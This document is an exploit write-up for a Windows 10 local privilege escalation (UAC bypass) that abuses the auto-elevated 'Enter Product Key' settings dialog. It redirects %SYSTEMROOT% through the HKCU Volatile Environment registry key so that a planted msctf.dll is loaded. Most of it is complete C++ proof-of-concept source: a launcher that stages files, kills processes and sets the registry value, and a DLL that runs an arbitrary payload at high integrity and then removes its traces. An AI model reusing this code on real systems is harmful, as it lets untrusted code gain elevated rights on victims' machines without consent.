Enter Product Key Volatile Environment LPE

Exploit Information
21.10.2017
1
Windows 10 1709 (16229.19)
Microsoft Windows
N/A
N/A
Windows 10, x86 and x64
Download

Description

Windows 10 introduces the brand new "Settings" app, which provides us with fresh and new auto-elevated binaries. The entry point of this app is SystemSettings.exe and the "Enter Product Key" dialog is in SystemSettingsAdminFlows.exe, which is auto-elevated and vulnerable to environment variable injection.

A load attempt to %SYSTEMROOT%\System32\msctf.dll will be performed from this auto-elevated process.

How to change %systemroot%?
Simple: Through Volatile Environment.
Define your own %systemroot% in HKEY_CURRENT_USER\Volatile Environment and SystemSettingsAdminFlows.exe will load msctf.dll from there.

We need to execute SystemSettingsAdminFlows.exe, which is dependent on SystemSettings.exe running. So, we first start the Settings app, then inject the environment variable and then execute SystemSettingsAdminFlows.exe with the "EnterProductKey" argument. The second executable will load our DLL.

For PoC, this is sufficient. However, this is a UI heavy PoC that causes visual disturbances to the user. There are plenty of ways to mitigate visibility and possibly avoid SystemSettings.exe altogether. However, I will not investigate further than what is necessary to provide a functioning PoC, because this is the sixth auto-elevation exploit that I've discovered and I'm focusing on different techniques meanwhile posting anything I come across, like this here.

Code

EnterProductKeyVolatileEnvironmentLPE.cpp

#include <string>
#include <Windows.h>
#include <TlHelp32.h>
#include <Shlwapi.h>
#include <lm.h>
using namespace std;

#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "netapi32.lib")

void KillSystemSettingsProcess();
void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value);
wstring GetTempFolderPath();
wstring GetStartupPath();
bool GetWindowsVersion(DWORD &major, DWORD &minor);

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	DWORD major, minor;
	GetWindowsVersion(major, minor);

	// Works in Windows 10 only, because of the brand new "Settings" app
	if (major >= 10)
	{
		// Prepare our working directory that is later assigned to %SYSTEMROOT% through volatile environment
		// We will also use it to put Payload.exe there - Just an example file, can be any arbitrary executable
		wstring systemRoot = GetTempFolderPath() + L"\\EnterProductKeyVolatileEnvironmentLPE";
		CreateDirectoryW(systemRoot.c_str(), NULL);
		CreateDirectoryW((systemRoot + L"\\System32").c_str(), NULL);

		// This is our DLL that is loaded and then executed as "msctf.dll"
		CopyFileW((GetStartupPath() + L"\\SystemSettingsAdminFlowsInject.dll").c_str(), (systemRoot + L"\\System32\\msctf.dll").c_str(), FALSE);

		// This is our payload. It can be any executable, but for now we just display a MessageBox with basic information and IL
		CopyFileW((GetStartupPath() + L"\\Payload.exe").c_str(), (systemRoot + L"\\Payload.exe").c_str(), FALSE);

		// Kill all previous SystemSettings.exe processes
		KillSystemSettingsProcess();

		// Start SystemSettings.exe, because it is required by SystemSettingsAdminFlows.exe
		ShellExecuteW(NULL, L"open", L"shell:AppsFolder\\Windows.ImmersiveControlPanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel", NULL, NULL, SW_SHOWNORMAL);

		// Wait for the "Settings" app to load
		for (int i = 0; i < 200; i++)
		{
			HWND window = FindWindowW(L"ApplicationFrameWindow", L"Settings");
			if (window != NULL)
			{
				// This doesn't always hide the window properly... Beyond a PoC, more work is required at this point:
				ShowWindow(window, SW_HIDE);
				break;
			}
			Sleep(10);
		}

		// Grace period for SystemSettings.exe to initialize
		Sleep(500);

		// HKEY_CURRENT_USER\Volatile Environment\SYSTEMROOT
		// -> This registry value will redirect some DLL loading attempts to the directory we just prepared
		SetRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT", systemRoot);

		// Open the "Enter Product Key" setting within the settings app
		// Continue reading in SystemSettingsAdminFlowsInject.cpp
		ShellExecuteW(NULL, L"open", L"C:\\Windows\\system32\\SystemSettingsAdminFlows.exe", L"EnterProductKey", NULL, SW_SHOWNORMAL);
	}
	return 0;
}



void KillSystemSettingsProcess()
{
	DWORD processId = 0;
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32W process;
	ZeroMemory(&process, sizeof(process));
	process.dwSize = sizeof(process);

	if (Process32FirstW(snapshot, &process))
	{
		do
		{
			if (StrCmpW(process.szExeFile, L"SystemSettings.exe") == 0)
			{
				BOOL result = TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, process.th32ProcessID), 0);
			}
		}
		while (Process32NextW(snapshot, &process));
	}

	CloseHandle(snapshot);
}
void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value)
{
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t));
		RegCloseKey(hKey);
	}
}
wstring GetTempFolderPath()
{
	wchar_t path[MAX_PATH];
	GetTempPathW(MAX_PATH, path);
	return wstring(path);
}
wstring GetStartupPath()
{
	wchar_t path[MAX_PATH];
	GetModuleFileNameW(NULL, path, MAX_PATH);
	wstring pathStr = wstring(path);
	return pathStr.substr(0, pathStr.find_last_of(L"/\\"));
}
bool GetWindowsVersion(DWORD &major, DWORD &minor)
{
	LPBYTE rawData = NULL;
	if (NetWkstaGetInfo(NULL, 100, &rawData) == NERR_Success)
	{
		WKSTA_INFO_100* workstationInfo = (WKSTA_INFO_100*)rawData;
		major = workstationInfo->wki100_ver_major;
		minor = workstationInfo->wki100_ver_minor;
		NetApiBufferFree(rawData);
		return true;
	}
	else
	{
		return false;
	}
}

SystemSettingsAdminFlowsInject.cpp

#include <string>
#include <Windows.h>
#include <TlHelp32.h>
#include <Shlwapi.h>
using namespace std;

#pragma comment(lib, "shlwapi.lib")

void KillSystemSettingsProcess();
void DeleteRegistryValue(HKEY key, wstring path, wstring name);
wstring GetTempFolderPath();

bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
	if (fdwReason == DLL_PROCESS_ATTACH)
	{
		// We now run in SystemSettingsAdminFlows.exe with high IL. This is the "Enter Product Key" of the Settings app

		// Restore %SYSTEMROOT% immediately
		DeleteRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT");

		// Clean up SystemSettings.exe processes. Sorry for all the visual disturbance, @user
		KillSystemSettingsProcess();

		// Execute Payload.exe
		// Basically, any payload can be implemented from here on and it doesn't necessarily have to be a separate executable
		// If you can guarantee stability within *this* context, you can also just write down your payload here...
		CreateProcessW((GetTempFolderPath() + L"\\EnterProductKeyVolatileEnvironmentLPE\\Payload.exe").c_str(), NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &STARTUPINFOW(), &PROCESS_INFORMATION());

		// Job done, leaving...
		ExitProcess(0);
	}

	return true;
}



void KillSystemSettingsProcess()
{
	DWORD processId = 0;
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32W process;
	ZeroMemory(&process, sizeof(process));
	process.dwSize = sizeof(process);

	if (Process32FirstW(snapshot, &process))
	{
		do
		{
			if (StrCmpW(process.szExeFile, L"SystemSettings.exe") == 0)
			{
				BOOL result = TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, process.th32ProcessID), 0);
			}
		}
		while (Process32NextW(snapshot, &process));
	}

	CloseHandle(snapshot);
}
void DeleteRegistryValue(HKEY key, wstring path, wstring name)
{
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegDeleteValueW(hKey, name.c_str());
		RegCloseKey(hKey);
	}
}
wstring GetTempFolderPath()
{
	wchar_t path[MAX_PATH];
	GetTempPathW(MAX_PATH, path);
	return wstring(path);
}

Expected Result

When everything worked correctly, Payload.exe should be executed, displaying basic information including integrity level.